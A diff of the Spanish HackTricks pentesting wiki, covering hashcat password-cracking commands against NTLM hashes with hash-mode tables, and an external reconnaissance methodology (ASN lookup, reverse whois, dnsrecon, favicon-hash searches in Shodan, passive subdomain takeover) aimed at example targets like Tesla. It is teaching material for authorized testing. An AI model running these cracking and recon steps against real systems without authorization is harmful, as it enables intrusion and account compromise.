hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
``` ```
* **Ataque de combinación de listas de palabras** * **Ataque combinador de listas de palabras**
Es posible **combinar 2 listas de palabras en 1** con hashcat.\ Es posible **combinar 2 listas de palabras en 1** con hashcat.\
Si la lista 1 contenía la palabra **"hello"** y la segunda contenía 2 líneas con las palabras **"world"** y **"earth"**. Se generarán las palabras `helloworld` y `helloearth`. Si la lista 1 contenía la palabra **"hello"** y la segunda contenía 2 líneas con las palabras **"world"** y **"earth"**. Se generarán las palabras `helloworld` y `helloearth`.
@ -748,7 +715,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## Use it to crack the password ## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
``` ```
* Ataque de Wordlist + Máscara (`-a 6`) / Ataque de Máscara + Wordlist (`-a 7`) * Lista de palabras + Máscara (`-a 6`) / Máscara + Lista de palabras (`-a 7`) ataque
```bash ```bash
# Mask numbers will be appended to each word in the wordlist # Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
@ -760,61 +727,19 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```bash ```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM" hashcat --example-hashes | grep -B1 -A2 "NTLM"
``` ```
## Brute Forcing Cracking Linux Hashes - /etc/shadow file
### Dictionary Attack
A **dictionary attack** is a type of brute-force attack where an attacker uses a predefined list of words as passwords. This method is effective when users choose weak passwords that are easily found in dictionaries.
### Brute Forcing Tools
There are several tools available for performing brute-force attacks, such as **John the Ripper** and **Hashcat**. These tools can be used to crack Linux hashes stored in the `/etc/shadow` file by systematically generating and trying all possible passwords until the correct one is found.
``` ```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems 500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
``` ```
## Brute-Force Rompiendo Hashes de Windows
### Introduction
Brute-force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack passwords, encryption keys, and hashes.
### Windows Hashes
In the context of Windows operating systems, passwords are not stored directly, but rather as hashes. These hashes can be cracked using brute-force techniques by generating potential passwords, hashing them, and comparing the result to the target hash.
### Tools
There are various tools available for performing brute-force attacks on Windows hashes, such as **John the Ripper** and **Hashcat**. These tools support different algorithms and techniques to crack hashes efficiently.
``` ```
3000 | LM | Operating-Systems 3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems 1000 | NTLM | Operating-Systems
``` ```
## Brute Force Rompiendo Hashes de Aplicaciones Comunes
### Introduction
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack common application hashes.
### Tools
There are several tools available for performing brute force attacks, such as **John the Ripper** and **Hashcat**. These tools can be used to automate the process of generating and testing potential keys or passwords.
### Methodology
1. **Generate Wordlist**: Create a wordlist containing potential keys or passwords based on common patterns, dictionaries, or previously leaked passwords.
2. **Select Tool**: Choose a suitable tool for the brute force attack, considering factors such as hash type and complexity.
3. **Run Attack**: Execute the chosen tool with the generated wordlist to systematically test each key or password until the correct one is found.
4. **Optimize**: Adjust the attack parameters based on feedback to improve efficiency and increase the chances of success.
### Conclusion
Brute force attacks can be a powerful method for cracking common application hashes, but they require time and computational resources. It is essential to use them responsibly and ethically.
``` ```
900 | MD4 | Raw Hash 900 | MD4 | Raw Hash
0 | MD5 | Raw Hash 0 | MD5 | Raw Hash
@ -824,24 +749,25 @@ Brute force attacks can be a powerful method for cracking common application has
1400 | SHA-256 | Raw Hash 1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash 1700 | SHA-512 | Raw Hash
``` ```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las herramientas comunitarias **más avanzadas** del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtén Acceso Hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}

View file

@ -1,58 +1,59 @@
# Metodología de Reconocimiento Externo # Metodología de Reconocimiento Externo
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**repos de HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere dominio del polaco escrito y hablado_). Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## Descubrimiento de Activos ## Descubrimientos de activos
> Te dijeron que todo lo que pertenece a una empresa está dentro del alcance, y quieres averiguar qué posee realmente esta empresa. > Te dijeron que todo lo que pertenece a alguna empresa está dentro del alcance, y quieres averiguar qué posee realmente esta empresa.
El objetivo de esta fase es obtener todas las **empresas propiedad de la empresa principal** y luego todos los **activos** de estas empresas. Para hacerlo, vamos a: El objetivo de esta fase es obtener todas las **empresas propiedad de la empresa principal** y luego todos los **activos** de estas empresas. Para hacerlo, vamos a:
1. Encontrar las adquisiciones de la empresa principal, esto nos dará las empresas dentro del alcance. 1. Encontrar las adquisiciones de la empresa principal, esto nos dará las empresas dentro del alcance.
2. Encontrar el ASN (si lo hay) de cada empresa, esto nos dará los rangos de IP propiedad de cada empresa. 2. Encontrar el ASN (si lo hay) de cada empresa, esto nos dará los rangos de IP propiedad de cada empresa.
3. Utilizar búsquedas de whois inverso para buscar otras entradas (nombres de organizaciones, dominios...) relacionadas con la primera (esto se puede hacer de forma recursiva). 3. Usar búsquedas de whois inversas para buscar otras entradas (nombres de organizaciones, dominios...) relacionadas con la primera (esto se puede hacer de forma recursiva).
4. Utilizar otras técnicas como los filtros `org` y `ssl` de shodan para buscar otros activos (el truco de `ssl` se puede hacer de forma recursiva). 4. Usar otras técnicas como filtros `org` y `ssl` de shodan para buscar otros activos (el truco `ssl` se puede hacer de forma recursiva).
### **Adquisiciones** ### **Adquisiciones**
En primer lugar, necesitamos saber qué **otras empresas son propiedad de la empresa principal**.\ Primero que nada, necesitamos saber qué **otras empresas son propiedad de la empresa principal**.\
Una opción es visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **buscar** la **empresa principal**, y **hacer clic** en "**adquisiciones**". Allí verás otras empresas adquiridas por la principal.\ Una opción es visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **buscar** la **empresa principal**, y **hacer clic** en "**adquisiciones**". Allí verás otras empresas adquiridas por la principal.\
Otra opción es visitar la página de **Wikipedia** de la empresa principal y buscar **adquisiciones**. Otra opción es visitar la página de **Wikipedia** de la empresa principal y buscar **adquisiciones**.
> Ok, en este punto deberías conocer todas las empresas dentro del alcance. Veamos cómo encontrar sus activos. > Bien, en este punto deberías conocer todas las empresas dentro del alcance. Vamos a averiguar cómo encontrar sus activos.
### **ASNs** ### **ASNs**
Un número de sistema autónomo (**ASN**) es un **número único** asignado a un **sistema autónomo** (AS) por la **Autoridad de Números Asignados de Internet (IANA)**.\ Un número de sistema autónomo (**ASN**) es un **número único** asignado a un **sistema autónomo** (AS) por la **Autoridad de Números Asignados de Internet (IANA)**.\
Un **AS** consta de **bloques** de **direcciones IP** que tienen una política claramente definida para acceder a redes externas y son administradas por una sola organización pero pueden estar compuestas por varios operadores. Un **AS** consiste en **bloques** de **direcciones IP** que tienen una política definida para acceder a redes externas y son administrados por una sola organización, pero pueden estar compuestos por varios operadores.
Es interesante saber si la **empresa ha asignado algún ASN** para encontrar sus **rangos de IP**. Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y buscar **dominios** dentro de estas IPs.\ Es interesante averiguar si la **empresa ha asignado algún ASN** para encontrar sus **rangos de IP.** Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y **buscar dominios** dentro de estas IPs.\
Puedes **buscar** por el **nombre de la empresa**, por **IP** o por **dominio** en [**https://bgp.he.net/**](https://bgp.he.net)**.**\ Puedes **buscar** por el **nombre** de la empresa, por **IP** o por **dominio** en [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Dependiendo de la región de la empresa, estos enlaces podrían ser útiles para recopilar más datos:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América del Norte),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De todos modos, probablemente toda la** información útil **(rangos de IP y Whois)** ya aparezca en el primer enlace. **Dependiendo de la región de la empresa, estos enlaces podrían ser útiles para recopilar más datos:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América del Norte),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De todos modos, probablemente toda la** información útil **(rangos de IP y Whois)** ya aparezca en el primer enlace.
```bash ```bash
#You can try "automate" this with amass, but it's not very recommended #You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla amass intel -org tesla
amass intel -asn 8911,50313,394161 amass intel -asn 8911,50313,394161
``` ```
También, la enumeración de subdominios de [**BBOT**](https://github.com/blacklanternsecurity/bbot) agrega automáticamente y resume los ASN al final del escaneo. También, la enumeración de subdominios de [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** agrega y resume automáticamente los ASN al final del escaneo.
```bash ```bash
bbot -t tesla.com -f subdomain-enum bbot -t tesla.com -f subdomain-enum
... ...
@ -69,61 +70,59 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
``` ```
Puedes encontrar los rangos de IP de una organización también utilizando [http://asnlookup.com/](http://asnlookup.com) (tiene una API gratuita).\ Puedes encontrar los rangos de IP de una organización también usando [http://asnlookup.com/](http://asnlookup.com) (tiene API gratuita).\
Puedes encontrar la IP y ASN de un dominio utilizando [http://ipv4info.com/](http://ipv4info.com). Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http://ipv4info.com).
### **Buscando vulnerabilidades** ### **Buscando vulnerabilidades**
En este punto conocemos **todos los activos dentro del alcance**, por lo que si se te permite, podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\ En este punto conocemos **todos los activos dentro del alcance**, así que si tienes permiso podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
También podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o utilizar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting en varios servicios posibles en ejecución.\ Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
**Además, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto e intentar** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). **Además, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto y tratar de** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Dominios ## Dominios
> Conocemos todas las empresas dentro del alcance y sus activos, es hora de encontrar los dominios dentro del alcance. > Conocemos todas las empresas dentro del alcance y sus activos, es hora de encontrar los dominios dentro del alcance.
_Ten en cuenta que en las técnicas propuestas a continuación también puedes encontrar subdominios y esa información no debería ser subestimada._ _Por favor, ten en cuenta que en las siguientes técnicas propuestas también puedes encontrar subdominios y esa información no debe ser subestimada._
En primer lugar, debes buscar el/los **dominio(s) principal(es)** de cada empresa. Por ejemplo, para _Tesla Inc._ será _tesla.com_. Primero que nada, deberías buscar el(los) **dominio(s) principal(es)** de cada empresa. Por ejemplo, para _Tesla Inc._ será _tesla.com_.
### **DNS Reverso** ### **DNS inverso**
Una vez que hayas encontrado todos los rangos de IP de los dominios, podrías intentar realizar **búsquedas de DNS reverso** en esas **IPs para encontrar más dominios dentro del alcance**. Intenta utilizar algún servidor DNS de la víctima o algún servidor DNS conocido (1.1.1.1, 8.8.8.8) Como has encontrado todos los rangos de IP de los dominios, podrías intentar realizar **búsquedas de DNS inverso** en esas **IPs para encontrar más dominios dentro del alcance**. Intenta usar algún servidor DNS de la víctima o algún servidor DNS bien conocido (1.1.1.1, 8.8.8.8)
```bash ```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
``` ```
### **Metodología de Reconocimiento Externo**
Para que esto funcione, el administrador tiene que habilitar manualmente el PTR.\ Para que esto funcione, el administrador tiene que habilitar manualmente el PTR.\
También puedes utilizar una herramienta en línea para esta información: [http://ptrarchive.com/](http://ptrarchive.com) También puedes usar una herramienta en línea para esta información: [http://ptrarchive.com/](http://ptrarchive.com)
### **Reverse Whois (bucle)** ### **Reverse Whois (loop)**
Dentro de un **whois** puedes encontrar mucha **información** interesante como el **nombre de la organización**, **dirección**, **emails**, números de teléfono... Pero lo que es aún más interesante es que puedes encontrar **más activos relacionados con la empresa** si realizas **búsquedas de reverse whois por cualquiera de esos campos** (por ejemplo, otros registros whois donde aparece el mismo email).\ Dentro de un **whois** puedes encontrar mucha **información** interesante como **nombre de la organización**, **dirección**, **correos electrónicos**, números de teléfono... Pero lo que es aún más interesante es que puedes encontrar **más activos relacionados con la empresa** si realizas **búsquedas de reverse whois por cualquiera de esos campos** (por ejemplo, otros registros whois donde aparece el mismo correo electrónico).\
Puedes utilizar herramientas en línea como: Puedes usar herramientas en línea como:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis** * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratis** * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratis**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis** * [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis**
* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** en web, no en API. * [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, no gratis API.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No es gratis * [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No es gratis (solo **100 búsquedas gratuitas**) * [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 gratis** búsquedas)
* [https://www.domainiq.com/](https://www.domainiq.com) - No es gratis * [https://www.domainiq.com/](https://www.domainiq.com) - No Gratis
Puedes automatizar esta tarea utilizando [**DomLink** ](https://github.com/vysecurity/DomLink)(requiere una clave de API de whoxy).\ Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requiere una clave API de whoxy).\
También puedes realizar descubrimiento automático de reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` También puedes realizar un descubrimiento automático de reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Ten en cuenta que puedes utilizar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.** **Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.**
### **Rastreadores** ### **Trackers**
Si encuentras el **mismo ID del mismo rastreador** en 2 páginas diferentes, puedes suponer que **ambas páginas** son **gestionadas por el mismo equipo**.\ Si encuentras el **mismo ID del mismo tracker** en 2 páginas diferentes, puedes suponer que **ambas páginas** son **gestionadas por el mismo equipo**.\
Por ejemplo, si ves el mismo **ID de Google Analytics** o el mismo **ID de Adsense** en varias páginas. Por ejemplo, si ves el mismo **ID de Google Analytics** o el mismo **ID de Adsense** en varias páginas.
Hay algunas páginas y herramientas que te permiten buscar por estos rastreadores y más: Hay algunas páginas y herramientas que te permiten buscar por estos trackers y más:
* [**Udon**](https://github.com/dhn/udon) * [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com) * [**BuiltWith**](https://builtwith.com)
@ -133,20 +132,20 @@ Hay algunas páginas y herramientas que te permiten buscar por estos rastreadore
### **Favicon** ### **Favicon**
¿Sabías que podemos encontrar dominios y subdominios relacionados con nuestro objetivo buscando el mismo hash de icono de favicon? Esto es exactamente lo que hace la herramienta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creada por [@m4ll0k2](https://twitter.com/m4ll0k2). Así es como se usa: ¿Sabías que podemos encontrar dominios y subdominios relacionados con nuestro objetivo buscando el mismo hash de icono de favicon? Esto es exactamente lo que hace la herramienta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creada por [@m4ll0k2](https://twitter.com/m4ll0k2). Aquí te explicamos cómo usarla:
```bash ```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
``` ```
![favihash - descubre dominios con el mismo hash de icono de favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) ![favihash - descubrir dominios con el mismo hash de icono favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
En pocas palabras, favihash nos permitirá descubrir dominios que tienen el mismo hash de icono de favicon que nuestro objetivo. Dicho de manera simple, favihash nos permitirá descubrir dominios que tienen el mismo hash de icono favicon que nuestro objetivo.
Además, también puedes buscar tecnologías utilizando el hash de favicon como se explica en [**esta publicación de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Esto significa que si conoces el **hash del favicon de una versión vulnerable de una tecnología web**, puedes buscar si está en shodan y **encontrar más lugares vulnerables**: Además, también puedes buscar tecnologías utilizando el hash de favicon como se explica en [**esta publicación de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Eso significa que si conoces el **hash del favicon de una versión vulnerable de una tecnología web** puedes buscar en shodan y **encontrar más lugares vulnerables**:
```bash ```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
``` ```
Esto es cómo puedes **calcular el hash del favicon** de un sitio web: Así es como puedes **calcular el hash del favicon** de una web:
```python ```python
import mmh3 import mmh3
import requests import requests
@ -159,55 +158,53 @@ fhash = mmh3.hash(favicon)
print(f"{url} : {fhash}") print(f"{url} : {fhash}")
return fhash return fhash
``` ```
### **Derechos de autor / Cadena única** ### **Copyright / Uniq string**
Busca dentro de las páginas web **cadenas que podrían ser compartidas en diferentes sitios web de la misma organización**. La **cadena de derechos de autor** podría ser un buen ejemplo. Luego busca esa cadena en **Google**, en otros **navegadores** o incluso en **Shodan**: `shodan search http.html:"Cadena de derechos de autor"` Busca dentro de las páginas web **cadenas que podrían ser compartidas entre diferentes webs en la misma organización**. La **cadena de copyright** podría ser un buen ejemplo. Luego busca esa cadena en **google**, en otros **navegadores** o incluso en **shodan**: `shodan search http.html:"Copyright string"`
### **Tiempo de CRT** ### **CRT Time**
Es común tener una tarea programada como Es común tener un trabajo cron como
```bash ```bash
# /etc/crontab # /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
``` ```
### Renovación de certificados de dominio para renovar todos los certificados de dominio en el servidor. Esto significa que incluso si la CA utilizada para esto no establece la hora en que se generó en el tiempo de validez, es posible **encontrar dominios que pertenecen a la misma empresa en los registros de transparencia de certificados**.\
Para renovar todos los certificados de dominio en el servidor. Esto significa que incluso si la CA utilizada para esto no establece la hora en que se generó en el tiempo de validez, es posible **encontrar dominios pertenecientes a la misma empresa en los registros de transparencia de certificados**.\
Consulta este [**artículo para más información**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). Consulta este [**artículo para más información**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Información DMARC de correo ### Información de Mail DMARC
Puedes utilizar un sitio web como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) o una herramienta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **dominios y subdominios que comparten la misma información DMARC**. Puedes usar un sitio web como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) o una herramienta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **dominios y subdominios que comparten la misma información de dmarc**.
### **Toma de control pasiva** ### **Toma Pasiva**
Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero olviden eliminar el registro DNS**. Por lo tanto, simplemente **iniciando una VM** en una nube (como Digital Ocean) en realidad **tomarás el control de algunos subdominios**. Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) en realidad estarás **tomando el control de algunos subdominios**.
[**Este post**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **inicia una VM en DigitalOcean**, **obtiene** el **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominios** que apunten a ella. [**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella.
### **Otras formas** ### **Otras formas**
**Ten en cuenta que puedes utilizar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.** **Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.**
**Shodan** **Shodan**
Como ya conoces el nombre de la organización que posee el espacio IP. Puedes buscar esa información en Shodan usando: `org:"Tesla, Inc."` Verifica los hosts encontrados en busca de nuevos dominios inesperados en el certificado TLS. Como ya conoces el nombre de la organización que posee el espacio IP. Puedes buscar por esos datos en shodan usando: `org:"Tesla, Inc."` Revisa los hosts encontrados para nuevos dominios inesperados en el certificado TLS.
Podrías acceder al **certificado TLS** de la página web principal, obtener el **nombre de la organización** y luego buscar ese nombre dentro de los **certificados TLS** de todas las páginas web conocidas por **Shodan** con el filtro: `ssl:"Tesla Motors"` o utilizar una herramienta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). Podrías acceder al **certificado TLS** de la página web principal, obtener el **nombre de la organización** y luego buscar ese nombre dentro de los **certificados TLS** de todas las páginas web conocidas por **shodan** con el filtro: `ssl:"Tesla Motors"` o usar una herramienta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
